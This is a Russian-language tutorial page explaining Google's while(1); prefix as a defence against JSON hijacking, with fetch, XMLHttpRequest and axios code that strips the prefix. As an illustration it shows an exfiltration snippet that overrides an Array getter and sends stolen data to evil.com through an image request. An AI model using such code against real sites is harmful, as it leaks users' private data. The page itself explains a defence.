Почему Google добавляет while(1); в начало JSON-ответов?
Что такое while(1); и зачем это нужно?
Вы столкнулись с классической техникой защиты от JSON Hijacking (угона JSON). Это атака, которая была особенно актуальна в эпоху, когда многие сайты использовали устаревший метод получения данных — <script> теги вместо XMLHttpRequest или fetch.
В старых браузерах можно было подменить массив (Array) или Object через прототипы. Например, злоумышленник мог разместить на своем сайте такой код:
// Зловредный код на сайте злоумышленника
Array.prototype.__defineGetter__('0', function() {
// Отправляем данные на сервер злоумышленника
new Image().src = 'http://evil.com/steal?data=' + JSON.stringify(this);
});
// Подключаем скрипт с уязвимого сайта
var script = document.createElement('script');
script.src = 'http://bank.com/api/transactions';
document.body.appendChild(script);
Если сервер банка возвращал чистый JSON-массив, например [{"amount": 1000, "to": "attacker"}], то браузер выполнял его как JavaScript-код. А из-за переопределенного геттера массива данные утекали злоумышленнику.
Как защищает while(1);?
Google и другие крупные компании добавляют бесконечный цикл while(1); перед JSON, чтобы:
- Предотвратить выполнение через <script> — браузер входит в бесконечный цикл и зависает, данные не утекают.
- Заставить использовать правильные методы запросов — настоящие AJAX-запросы (fetch, XMLHttpRequest) могут легко удалить этот префикс.
- Защитить от устаревших браузеров — техника работает даже в IE6/7, где не было CORS и других современных механизмов.
Как правильно обрабатывать такие ответы?
Вам нужно получить сырой текст ответа, удалить префикс while(1); и только потом парсить JSON. Вот два способа:
Способ 1: Через fetch и text()
fetch('https://example.com/api/data')
.then(response => response.text()) // Получаем как текст
.then(text => {
// Удаляем префикс while(1);
const jsonText = text.replace(/^while\(1\);/, '');
const data = JSON.parse(jsonText);
console.log(data);
})
.catch(error => console.error('Ошибка:', error));
Способ 2: Через XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/api/data');
xhr.onload = function() {
const rawText = xhr.responseText;
const jsonText = rawText.replace(/^while\(1\);/, '');
const data = JSON.parse(jsonText);
console.log(data);
};
xhr.send();
Почему это не мешает легитимным запросам?
Google ожидает, что настоящие клиенты (ваше приложение) будут использовать AJAX и сами удалять префикс. А вот если злоумышленник попытается подключить API через <script> тег, его сайт зависнет в бесконечном цикле. Это простая, но эффективная защита.
Важно: Современные браузеры (Chrome, Firefox, Safari) уже защищены от JSON Hijacking на уровне платформы. Однако Google продолжает использовать эту технику для обратной совместимости и защиты старых версий браузеров.
<<Альтернативный подход: Использование готовых библиотек
Если вы не хотите вручную обрабатывать префикс while(1);, можно использовать готовые решения. Например, популярная библиотека axios автоматически обрабатывает такие случаи, если настроить трансформер ответов:
import axios from 'axios';
const api = axios.create({
baseURL: 'https://example.com/api',
transformResponse: [
function(data) {
// Удаляем while(1); если он есть
if (typeof data === 'string') {
data = data.replace(/^while\(1\);/, '');
}
return JSON.parse(data);
}
]
});
api.get('/data')
.then(response => console.log(response.data))
.catch(error => console.error(error));
Почему не стоит парсить вручную каждый раз?
Ручное удаление префикса в каждом запросе — это лишний код и потенциальный источник ошибок. Лучше создать единую функцию-обертку или использовать перехватчики (interceptors).
Дополнительная рекомендация
Обратите внимание, что некоторые API (например, YouTube Data API) используют другой префикс: )]}'. Принцип тот же — защита от угона JSON. Ваш обработчик должен быть гибким и удалять любые подобные префиксы перед парсингом.
Ответов пока нет.
Войдите чтобы оставить ответ